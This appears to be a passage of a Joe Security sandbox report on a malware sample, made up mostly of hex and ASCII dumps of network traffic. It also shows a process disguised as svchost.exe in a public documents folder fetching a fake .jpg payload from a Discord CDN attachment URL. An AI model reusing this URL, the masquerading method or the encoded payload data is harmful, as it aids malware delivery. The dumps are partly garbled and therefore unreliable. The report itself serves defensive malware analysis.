36 35 20 30 20 37 31 20 30 20 38 35 20 30 20 36 35 20 30 20 39 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20 35 37 20
30 20 36 35 20 30 20 36 37 20 30 20 37 33 20 30 20 36 35 20 30 20 39 37 20 30 20 36 35 20 30 20 36 36 20 30 20 34 38
20 30 20 36 35 20 30 20 37 32 20 30 20 38 31 20 30 20 36 35 20 30 20 39 39

Data Ascii: 9065097 065065048065068052065074081066012206506706506508006506601040
6506706506509706506601210650710850650900103065057065067073065097 0650660480
65072081065099

Data Raw: 30 20 31 30 34 20 30 20 36 35 20 30 20 37 31 20 30 20 31 31 39 20 30 20 36 35 20 30 20 38 34 20 30 20 31

30 33 20 30 20 36 36 20 30 20 31 30 34 20 30 20 36 35 20 30 20 37 31 20 30 20 34 38 20 30 20 36 35 20 30 20 39 30 20
30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 34
20 30 20 36 35 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 31 20 30 20 39 39 20 30 20 36 35 20 30 20
38 39 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20 30 20 36 39 20 30 20 37 37 20 30 20 36 35 20
30 20 39 38 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 37 32 20 30 20 31 30 37 20 30
20 36 35 20 30 20 39 39 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 32

Data Ascii: 0104 0650710119065084 0103 0660104065071 048065090081065065065065065065
08406506601080650710990650890810660115065069077065098011906601190650 720 107
06509901030660 112

Data Raw: 30 20 30 20 38 35 20 30 20 36 38 20 30 20 38 35 20 30 20 35 30 20 30 20 31 30 38 20 30 20 35 34 20 30 20

39 3020 30 20 38 37 20 30 20 35 37 20 30 20 31 30 39 20 30 20 38 35 20 30 20 31 30 39 20 30 20 38 36 20 30 20 31 32
32 20 30 20 39 38 20 30 20 35 31 20 30 20 38 36 20 30 20 31 32 31 20 30 20 38 39 20 30 20 35 30 20 30 20 38 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 39 20 30 20 31 30 33 20 30 20 36 36 20 30 20 38 32 20 30 20 35 30 20 30 20 38 36
20 30 20 34 38 20 30 20 38 32 20 30 20 37 31 20 30 20 37 30 20 30 20 34 38 20 30 20 39 30 20 30 20 38 35 20 30 20 39
30 20 30 20 31 31 38 20 30 20 39 39 20 30 20 31 30 39 20 30 20 34 39 20 30 20 31 30 34 20 30 20 31 30 30 20 30 20 37
30 20 30 20 39 39 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 38

Data Ascii: 0085068 0850500 108054090087 05701090850109086012209805108601210890500
85065065069010306608205008604808207107004809008509001180990 10904901040 1000
7009906506508008

Data Raw: 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 39 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 39 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35

Data Ascii: 0650650650650650650650650650650650650650650650650650650650650650 65
0650650650650650650690650650650650650650650650650650650650650650650890650
650650650650 65
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Timestamp transferred

2021-09-27 18:27:45 UTC 3073

2021-09-27 18:27:45 UTC 3089

2021-09-27 18:27:45 UTC 3105

2021-09-27 18:27:45 UTC 3121

2021-09-27 18:27:45 UTC 3137

2021-09-27 18:27:45 UTC 3153

2021-09-27 18:27:45 UTC 3169

2021-09-27 18:27:45 UTC 3185

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 36 35 20 30 20 36 36 20 30 20 35 32 20 30 20 34 39 20 30 20 31 31 39 20 30 20 36 39 20 30 20 36 35 20
30 20 37 38 20 30 20 36 35 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 38 31 20 30 20 36 39
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
35203020 31 31 34 20 30 20 37 38 20 30 20 31 30 33 20 30 20 36 36 20 30 20 36 35 20 30 20 36 37 20 30 20 31 30 33
20 30 20 38 36 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 31 30 37 20 30 20 36 36 20 30 20 36 35 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 38 20 30
20 38 34 20 30 20 31 31 36 20 30 20 36 35 20 30 20 38 31 20 30 20 36 38 20

Data Ascii: 6506605204901190690650780650690650650790810690650650650650650650 65
06501140780103066065067010308606506506801070660650650650650650650650650780
840116065081068

Data Raw: 20 30 20 31 31 39 20 30 20 34 37 20 30 20 31 31 38 20 30 20 31 30 36 20 30 20 31 31 39 20 30 20 34 37 20

30 20 31 31 38 20 30 20 36 38 20 30 20 31 30 33 20 30 20 35 36 20 30 20 37 39 20 30 20 31 30 36 20 30 20 31 30 33 20
30 20 35 36 20 30 20 37 39 20 30 20 36 38 20 30 20 38 31 20 30 20 35 36 20 30 20 37 38 20 30 20 36 38 20 30 20 36 35
20 30 20 3536 20 30 20 37 37 20 30 20 31 30 35 20 30 20 31 31 39 20 30 20 35 32 20 30 20 37 37 20 30 20 36 37 20 30
2031 30332030 20 35 32 20 30 20 37 36 20 30 20 31 30 35 20 30 20 31 30 33 20 30 20 38 39 20 30 20 36 39 20 30 20
313033 203020313139 20 30 20 36 3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35

Data Ascii: 01190470118 01060119047 0118068 01030560790 10601030560790680810560 78068
06505607701050119052077067010305207601050103089069010301190650650650650650
65065065065065065

Data Raw: 31 30 33 20 30 20 31 30 37 20 30 20 37 35 20 30 20 31 30 35 20 30 20 31 31 39 20 30 20 31 30 33 20 30 20
37 3920 30 20 36 38 20 30 20 31 31 39 20 30 20 38 35 20 30 20 37 31 20 30 20 36 36 20 30 20 31 31 39 20 30 20 31 30
3320 30 20 37 39 20 30 20 36 38 20 30 20 31 31 39 20 30 20 38 31 20 30 20 37 30 20 30 20 31 30 34 20 30 20 31 31 39
20 30 20 38 39 20 30 20 37 38 20 30 20 36 38 20 30 20 31 31 39 20 30 20 38 35 20 30 20 37 37 20 30 20 31 30 36 20 30
2031 3139203020 38 31 20 30 20 37 37 20 30 20 36 38 20 30 20 31 31 39 20 30 20 37 33 20 30 20 37 36 20 30 20 36
3820 30 20 31 30 33 20 30 20 37 33 20 30 20 37 35 20 30 20 36 38 20 30 20 38 31 20 30 20 38 39 20 30 20 37 34 20 30
20 31 3034 20 30 20 31 31 39 20 30 20 38 35 20 30 20 37 36 20 30 20 31 30

Data Ascii: 1030107 075010501190103079068 0119085071 066011901030790680 1190810700 104
0119089078068011908507701060119081077068011907307606801030730750680810890 74
010401190850760 10

Data Raw: 36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 3520 30 20 36 35 20 30 20 36 37 20 30 20 38 32 20 30 20 31 30 30 20 30 20 36 35 20 30 20 36 38 20 30 20
36 39 20 30 20 31 30 36 20 30 20 37 32 20 30 20 36 35 20 30 20 36 35 20 30 20 35 33 20 30 20 38 39 20 30 20 31 30 30
2030 20 31 31 35 20 30 20 36 35 20 30 20 38 30 20 30 20 37 39 20 30 20 37

Data Ascii: 650730650650650650650650650650650650650650650650650650650650650650
65065065065065065065065065065065067082010006506806901060720650650530890100
011506508007907

Data Raw: 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30
20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31
38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30
20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34
33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20
30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20
34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30

Data Ascii: 4047047 011404704301180470540470470114047043011804705404704701140470
430118047054047047011404704301180470540470470114047043011804705404704701140
4704301180470540

Data Raw: 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20
31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33
20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30
20 34 37 20 30 20 38 30 20 30 20 34 37 20 30 20 35 35 20 30 20 34 37 20 30 20 34 37 20 30 20 36 37 20 30 20 31 31 39
20 30 20 34 38 20 30 20 34 37 20 30 20 35 36 20 30 20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 38 36 20 30 20 31
31 31 20 30 20 35 32 20 30 20 35 32 20 30 20 38 33 20 30 20 34 38 20 30 20 34 37 20 30 20 34 33 20 30 20 31 32 32 20
30 20 39 39 20 30 20 35 32 20 30 20 38 30 20 30 20 34 37 20 30 20 31 31 35

Data Ascii: 7054047 0470114047043 011804705404704701140470430118047054047047 01140
47047080047055047047067011904804705607406506508601110520520830480470430 122
0990520800470 115

Data Raw: 20 31 31 30 20 30 20 36 35 20 30 20 36 37 20 30 20 36 35 20 30 20 36 35 20 30 20 38 39 20 30 20 38 31 20

30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 37 32 20 30 20 36 35 20 30 20 36 35 20 30 20 39 38 20 30 20 36
3520 30 20 36 36 20 30 20 31 31 32 20 30 20 36 35 20 30 20 37 31 20 30 20 37 37 20 30 20 36 35 20 30 20 38 39 20 30
20 38 31 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 37 20 30 20 36 35 20 30 20 39 38
20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 31 37 20 30 20 36 35 20 30 20 36 37 20 30 20 36 35 20 30 20 36 35 20 30
20 39 30 20 30 20 38 31 20 30 20 36 36 20 30 20 31 32 31 20 30 20 36 35 20 30 20 37 32 20 30 20 37 33 20 30 20 36 35
20 30 20 39 38 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 32 31 20 30 20

Data Ascii: 110065067065065089081066011906507206506509806506601120650710770650
8908106604806507101070650980119066011706506706506509008106601210650720730

65098011906601210

Data Raw: 20 30 20 31 30 33 20 30 20 36 35 20 30 20 37 31 20 30 20 37 37 20 30 20 36 35 20 30 20 39 38 20 30 20 31
31 39 20 30 20 36 36 20 30 20 31 31 36 20 30 20 36 35 20 30 20 37 32 20 30 20 36 35 20 30 20 36 35 20 30 20 38 39 20
30 20 38 31 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 37 20 30 20 36 35 20 30 20 38
39 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 32 20 30 20 36 35 20 30 20 37 31 20 30 20 31 31 39 20 30 20 36 35
20 30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20 37 32 20 30 20 31 30 37 20 30 20
36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 36 20 30 20 36 35 20 30 20 37 31 20 30 20 35 36 20
30 20 36 35 20 30 20 39 30 20 30 20 36 35 20 30 20 36 36 20 30 20 31 30 38

Data Ascii: 0103065071077065098011906601160650720650650890810660480650710 107065
08901030660112065071011906509708106604806507201070650730650660 116065071056
0650900650660 108
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kBytes
Timestamp transferred

2021-09-27 18:27:45 UTC 3201

2021-09-27 18:27:45 UTC 3217

2021-09-27 18:27:45 UTC 3233

2021-09-27 18:27:45 UTC 3249

2021-09-27 18:27:45 UTC 3265

2021-09-27 18:27:45 UTC 3281

2021-09-27 18:27:45 UTC 3297

2021-09-27 18:27:45 UTC 3309

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 35 20 30 20 36 36 20 30 20 37 30 20 30 20 36 35 20 30 20 37 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20

38 3220 30 20 38 31 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 39 20 30 20 38 39 20 30 20 36 35 20
30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20 30 20 37 31 20 30 20 38 35 20 30 20 36
3520 30 20 39 38 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 30 34 20 30 20 36 35 20 30 20 37 31 20 30 20 34 38 20
30 20 36 35 20 30 20 39 30 20 30 20 38 31 20 30 20 36 35 20 30 20 38 38 20 30 20 36 35 20 30 20 36 39 20 30 20 37 37
20 30 20 36 35 20 30 20 39 37 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 38 20 30 20 36 35 20 30 20 37 31 20 30 20
35 36 20 30 20 36 35 20 30 20 39 39 20 30 20 31 31 39 20 30 20 36 36 20 30

Data Ascii: 5066 0700650700103065082081065010306506908906509708106601150650 71085
0650980103066010406507104806509008106508806506907706509706506601180650710
560650990119066 0

Data Raw: 35 20 30 20 39 30 20 30 20 38 31 20 30 20 36 36 20 30 20 31 30 34 20 30 20 36 35 20 30 20 37 32 20 30 20
38 3120 30 20 36 35 20 30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 38 20 30 20 36 35 20 30 20 37 31 20
30 20 35 32 20 30 20 36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 36 20 30 20 38 35 20 30 20 36 35 20 30 20 37 31
203020 31 30 37 20 30 20 36 35 20 30 20 39 38 20 30 20 38 31 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30
20 36 3520 3020 31 30 37 20 30 20 36 35 20 30 20 38 36 20 30 20 38 31 20 30 20 36 36 20 30 20 31 32 32 20 30 20 36
35203020 37 3120 30 20 38 35 20 30 20 36 35 20 30 20 39 39 20 30 20 31 30 33 20 30 20 36 35 20 30 20 31 30 33 20
30 20 36 35 20 30 20 36 39 20 30 20 35 32 20 30 20 36 35 20 30 20 38 39 20

Data Ascii: 5090081 06601040650720810650970810660118065071052065073065066 0850650
710107065098081066010806506501070650860810660122065071085065099010306501030
650690520650 89

Data Raw: 20 30 20 36 35 20 30 20 31 30 33 20 30 20 37 33 20 30 20 36 35 20 30 20 37 37 20 30 20 37 33 20 30 20 37

332030 20 31 30 34 20 30 20 39 30 20 30 20 31 30 33 20 30 20 38 39 20 30 20 37 34 20 30 20 37 3520 30 20 31 31 31
2030 20 39 30 20 30 20 37 33 20 30 20 31 30 34 20 30 20 31 31 38 20 30 20 39 39 20 30 20 37 38 20 30 20 36 35 20 30
2038 31 20 30 20 39 39 20 30 20 36 37 20 30 20 31 31 31 20 30 20 37 33 20 30 20 37 33 20 30 20 31 30 34 20 30 20 38
36 20 30 20 31 32 32 20 30 20 36 37 20 30 20 36 37 20 30 20 37 33 20 30 20 38 36 20 30 20 37 37 20 30 20 36 37 20 30
20 36 3520 30 20 38 31 20 30 20 36 39 20 30 20 31 32 30 20 30 20 36 38 20 30 20 31 32 32 20 30 20 36 35 20 30 20 37
38 20 30 20 36 36 20 30 20 31 30 33 20 30 20 31 30 38 20 30 20 31 30 33 20

Data Ascii: 0650 103073065077073073010409001030890740750111090073010401180990780
6508109906701110730730104086012206706707308607706706508106901200680 1220650
78066 010301080 103

Data Raw: 30 20 30 20 35 33 20 30 20 36 36 20 30 20 31 30 30 20 30 20 38 38 20 30 20 38 32 20 30 20 31 31 31 20 30
20 3938 20 30 20 35 31 20 30 20 37 34 20 30 20 31 31 32 20 30 20 31 30 30 20 30 20 37 32 20 30 20 31 30 37 20 30 20
3131 37 20 30 20 38 39 20 30 20 35 31 20 30 20 37 34 20 30 20 31 31 35 20 30 20 37 37 20 30 20 37 32 20 30 20 38 39
203020 37 31 20 30 20 36 37 20 30 20 36 37 20 30 20 31 31 35 20 30 20 37 31 20 30 20 36 35 20 30 20 38 31 20 30 20
383520 302037 30 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 39 20 30 20 36 36 20 30 20 36 36 20 30 20 37 31 20
302031 313120302031 313920302039 3720 30 20 36 38 20 30 20 36 35 20 30 20 34 37 20 30 20 36 36 20 30 20
3130 3320 30 20 31 30 33 20 30 20 31 31 34 20 30 20 36 36 20 30 20 31 30

Data Ascii: 0053066 0100088082011109805107401120100072010701170890510740115077072
0890710670670115071065081085070066011906906606607101110119097068 0650470660
10301030114 066 010

Data Raw: 35 35 20 30 20 37 34 20 30 20 35 33 20 30 20 35 35 20 30 20 31 31 31 20 30 20 37 32 20 30 20 31 31 38 20

30 20 35 32 20 30 20 31 31 38 20 30 20 35 36 20 30 20 31 31 34 20 30 20 31 31 36 20 30 20 34 37 20 30 20 35 34 20 30
20 31 30 31 20 30 20 38 38 20 30 20 38 31 20 30 20 39 30 20 30 20 34 33 20 30 20 31 31 37 20 30 20 35 32 20 30 20 36
38 20 30 20 38 38 20 30 20 31 32 31 20 30 20 31 30 37 20 30 20 37 35 20 30 20 34 39 20 30 20 31 30 37 20 30 20 36 38
20 30 20 31 30 35 20 30 20 35 33 20 30 20 38 38 20 30 20 31 31 36 20 30 20 37 33 20 30 20 31 30 35 20 30 20 31 30 36
20 30 20 37 38 20 30 20 34 33 20 30 20 31 30 3520 30 20 31 31 39 20 30 20 35 35 20 30 20 31 32 30 20 30 20 31 32 30
20 30 20 38 39 20 30 20 38 32 20 30 20 31 31 34 20 30 20 34 33 20 30 20 38

Data Ascii: 55074 053055011107201180520118056011401160470540101088081090043011705
206808801210107075049010706801050530880116073010501060780430105011905501200
120089082011404308

Data Raw: 30 36 20 30 20 39 38 20 30 20 35 30 20 30 20 34 38 20 30 20 31 31 39 20 30 20 36 38 20 30 20 38 31 20 30
20 38 39 20 30 20 37 34 20 30 20 37 35 20 30 20 31 31 31 20 30 20 39 30 20 30 20 37 33 20 30 20 31 30 34 20 30 20 31
31 38 20 30 20 39 39 20 30 20 37 38 20 30 20 36 35 20 30 20 38 31 20 30 20 36 39 20 30 20 37 37 20 30 20 36 36 20 30
20 38 31 20 30 20 36 35 20 30 20 36 38 20 30 20 31 30 33 20 30 20 31 30 33 20 30 20 37 33 20 30 20 36 36 20 30 20 36
35 20 30 20 37 31 20 30 20 34 39 20 30 20 38 35 20 30 20 31 30 33 20 30 20 39 37 20 30 20 38 35 20 30 20 31 32 32 20
30 20 38 38 20 30 20 38 32 20 30 20 39 38 20 30 20 31 30 34 20 30 20 31 31 36 20 30 20 38 36 20 30 20 37 39 20 30 20
36 36 20 30 20 31 30 37 20 30 20 38 38 20 30 20 38 38 20 30 20 31 30 32 20

Data Ascii: 06 098050048 01190680810890740750111090073010401180990780650810690 770
660810650680103010307306606507104908501030970850122088082098010401160860790
66 0107 088 088 0102

Data Raw: 20 33 37 20 30 20 31 33 20 30 20 31 30 20 30 20 33 37 20 30 20 31 30 34 20 30 20 31 30 38 20 30 20 31 30
34 2030 20 31 30 30 20 30 20 31 30 34 20 30 20 31 31 38 20 30 20 31 30 35 20 30 20 33 37 20 30 20 31 31 35 20 30 20
3337 20 3020 31 31 30 20 30 20 31 31 35 20 30 20 31 30 31 20 30 20 31 31 35 20 30 20 31 31 32 20 30 20 31 30 30 20
30 20 31 3232 20 30 20 31 30 39 20 30 20 33 37 20 30 20 39 39 20 30 20 33 37 20 30 20 31 30 37 20 30 20 31 31 39 20
30 20 31 31 34 20 30 20 31 31 34 20 30 20 31 31 35 20 30 20 31 30 33 20 30 20 31 31 38 20 30 20 31 31 37 20 30 20 39
39 20 30 20 31 30 35 20 30 20 31 30 30 20 30 20 31 30 39 20 30 20 33 37 20 30 20 33 32 20 30 20 33 37 20 30 20 31 31
37 20 30 20 31 30 31 20 30 20 39 37 20 30 20 31 32 30 20 30 20 33 37 20 30

Data Ascii: 37 013010037 010401080104 0100010401180105037011503701100115010101150112
010001220109037099037010701190114011401150103011801170990 1050 1000 109037 0320 37
0117010109701200370

Data Raw: 20 30 20 33 37 20 30 20 39 39 20 30 20 33 37 20 30 20 31 31 31 20 30 20 39 37 20 30 20 31 30 30 20 30 20
39 37 20 30 20 39 37 20 30 20 31 31 32 20 30 20 31 31 38 20 30 20 31 32 31 20 30 20 31 30 39 20 30 20 31 31 38 20 30
20 31 30 37 20 30 20 31 31 37 20 30 20 33 37 20 30 20 33 32 20 30 20 33 37 20 30 20 31 30 37 20 30 20 31 31 35 20 30
20 31 30 33 20 30 20 39 39 20 30 20 31 30 34 20 30 20 31 31 36 20 30 20 31 32 31 20 30 20 31 31 36 20 30 20 31 31 30
20 30 20 39 38 20 30 20 31 30 37 20 30 20 31 30 39 20 30 20 39 37 20 30 20 33 37 20 30 20 31 31 35 20 30 20 33 37 20
30 20 31 30 34 20 30 20 31 31 36 20 30 20 31 31 32 20 30 20 33 37 20 30 20 31 31 36 20 30 20 33 37 20 30 20 31 30 32
20 30 20 31 31 36 20 30 20 31 31 33 20 30 20 31 31 31 20 30 20 39 39 20 30

Data Ascii: 03709903701110970100097097011201180121010901180107011703703203701070
115010309901040116012101160110098 01070109097 037011503701040116011203701160370
102011601130111099 0
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Timestamp transferred Direction Data

2021-09-27 18:27:45 UTC 3313 IN Data Raw: 20 30 20 31 32 32 20 30 20 31 31 39 20 30 20 31 30 36 20 30 20 31 30 31 20 30 20 31 31 34 20 30 20 33 37
20 3020 31 30 35 20 30 20 33 37 20 30 20 39 39 20 30 20 39 39 20 30 20 31 30 35 20 30 20 31 31 37 20 30 20 31 32 32
2030 20 33 37 20 30 20 31 31 36 20 30 20 33 37 20 30 20 31 31 35 20 30 20 31 30 35 20 30 20 31 31 31 20 30 20 31 31
3420302031 3031203020 313232203020 313131203020 39 38203020 3337203020 3132312030 2033
372030203132312030203130342030203132322030203132322030203132322030203131352030
2031 3032203020313232203020 313038203020 3130332030203337 20302037 3220302033372030
2031 313020302031 3038203020 313231203020 31 3038203020
Data Ascii: 0122011901060101011403701050370990990105011701220370116037011501050
1110114010101220111098037012103701210104012201220122011501020 1220 1080 1030370
72037011001080 12101080

2021-09-27 18:27:45 UTC 3329 IN Data Raw: 20 30 20 31 32 32 20 30 20 31 30 35 20 30 20 31 31 33 20 30 20 33 37 20 30 20 31 31 35 20 30 20 33 37 20
302031 31 33 20 30 20 31 32 30 20 30 20 31 31 30 20 30 20 31 31 31 20 30 20 31 32 31 20 30 20 31 31 30 20 30 20 31
30 34 20 30 20 31 30 35 20 30 20 31 30 38 20 30 20 33 37 20 30 20 39 39 20 30 20 33 37 20 30 20 31 32 31 20 30 20 31
3032203020 313031203020 313033203020 313137203020 313135203020 313031203020 31303020
3020 31 313920 30 20 31 30 38 20 30 20 31 30 34 20 30 20 33 37 20 30 20 33 32 20 30 20 33 37 20 30 20 31 30 37 20
302031313220302031313720302031313920302031313320302031313720302031313920302033
37203020 31 31 3520 30 20 33 37 20 30 20 31 31 36 20 30 20 31 31 34 20
Data Ascii: 01220105011303701150370113012001100111012101100104010501080370990370
12101020101010301170115010101000119010801040370320370107011201170119011301170
119037011503701160114

2021-09-27 18:27:45 UTC 3341 IN Data Raw: 32 20 30 20 39 32 20 30 20 38 33 20 30 20 31 31 31 20 30 20 31 30 32 20 30 20 31 31 36 20 30 20 31 31 39
20302039 37 20 30 20 31 31 34 20 30 20 31 30 31 20 30 20 39 32 20 30 20 37 37 20 30 20 31 30 35 20 30 20 39 39 20
3020 31 31 34 20 30 20 31 31 31 20 30 20 31 31 35 20 30 20 31 31 31 20 30 20 31 30 32 20 30 20 31 31 36 20 30 20 39
322030203837 203020 313035203020 313130203020 313030203020 313131203020 313139203020
313135203020 39 3220302036 37203020 313137203020 313134203020 3131342030203130312030
2031 313020302031 31 3620 3020 38 36 20 30 20 31 30 31 20 30 20 31 31 34 20 30 20 31 31 3520 30 20 31 30 35
20302031 3131203020 31 313020 30 20 39 32 20 30 20 37 38 20 30 20
Data Ascii: 2092083 0111010201160119097011401010920770105099011401110 115011101020
116092087010501100100011101190115092067011701140114010101100 11608601010 1140
1150105011101100920780

2021-09-27 18:27:45 UTC 3357 IN Data Raw: 20 32 32 39 20 38 33 20 32 34 39 20 38 33 20 32 31 20 38 34 20 31 38 20 38 34 20 31 39 20 38 34 20 31 39
20 38 34 20 32 33 30 20 38 33 20 32 32 36 20 38 33 20 32 32 36 20 38 33 20 31 20 33 31 20 31 30 39 20 32 35 33 20 31
3038 20 32 35 33 20 31 34 37 20 32 35 33 20 31 31 33 20 32 35 33 20 31 37 30 20 32 35 33 20 31 35 39 20 32 35 33 20
313536 203235332031 313220323533203130382032353320313036203235332031313420323533
203130382032 353320313039203235332031373920323533203136362032353320312033312031
313220 35203136 34 20 35 20 31 36 33 20 35 20 31 32 30 20 35 20 31 36 30 20 35 20 31 36 32 20 3520 31 31 31 20
3520 31 37 38 20 3520 31 33 31 20 35 20 31 32 30 20 35 20 31 33 34 20 35
Data Ascii: 229 83 249 83 21 84 18 84 19 84 19 84 230 83 226 83 226 83 1 31 109 253 108 253 147 253 113 253 170 253
159 253 156 253 112 253 108 253 106 253 114 253 108 253 109 253 179 253 166 253 1 31 1125 164 5 163 5 1205 1605
162511151785131512051345

2021-09-27 18:27:45 UTC 3373 IN Data Raw: 20 31 33 30 20 31 30 39 20 31 20 32 20 35 20 33 32 20 31 20 31 20 32 39 20 33 20 32 35 20 37 20 35 20 31
38 20 33 37 20 31 38 20 31 33 30 20 36 35 20 31 38 20 31 33 30 20 37 33 20 32 31 20 31 37 20 31 33 30 20 36 39 20 31
20 31 38 20 34 31 20 32 31 20 31 37 20 31 33 30 20 36 39 20 31 20 31 38 20 31 33 30 20 36 35 20 34 20 33 32 20 31 20
38 20 33 20 35 20 33 32 20 32 20 31 34 20 31 34 20 31 34 20 37 20 37 20 32 20 31 38 20 34 35 20 31 37 20 31 33 30 20
37 37 20 38 20 31 36 20 31 20 32 20 33 30 20 30 20 33 30 20 30 20 31 34 20 34 20 31 30 20 31 20 31 38 20 35 33 20 35
20 37 20 32 20 31 38 20 37 37 20 32 20 34 20 31 30 20 31 20 31 38 20 35 37 20 35 20 33 32 20 31 20 31 38 20 37 37 20
33 20 34 20 31 30 20 31 20 31 38 20 36 31 20 36 20 30 20 33 20 31 34 20 31
Data Ascii: 130109125321129325751837 1813065 18130732117 130691 18412117 13069 1 18 130 65 4
32183532214141477218451713077816123003001441011853572187724101185753211877
341011861603141

Session ID Source IP Source Port Destination IP  Destination Port Process

2 192.168.2.5 49748 162.159.130.233 443 C:\Users\Public\Documents\???????????????\svchost.exe
kBytes

Timestamp transferred Direction Data

2021-09-27 18:28:01 UTC 3380 ouT GET /attachments/886962207051640872/890689205934620692/4102A6C4.jpg HTTP/1.1

Host: cdn.discordapp.com
Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-27 18:28:01 UTC 3380

2021-09-27 18:28:01 UTC 3382

2021-09-27 18:28:01 UTC 3382

2021-09-27 18:28:01 UTC 3383

2021-09-27 18:28:01 UTC 3384

2021-09-27 18:28:01 UTC 3386

2021-09-27 18:28:01 UTC 3387

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Date: Mon, 27 Sep 2021 18:28:01 GMT

Content-Type: image/jpeg

Content-Length: 1729443

Connection: close

CF-Ray: 6956ca128c49375b-MXP

Accept-Ranges: bytes

Age: 1203

Cache-Control: public, max-age=31536000

ETag: "2ac5f86f290ec12916b30b63f8da6e5d"

Expires: Tue, 27 Sep 2022 18:28:01 GMT

Last-Modified: Thu, 23 Sep 2021 20:00:54 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

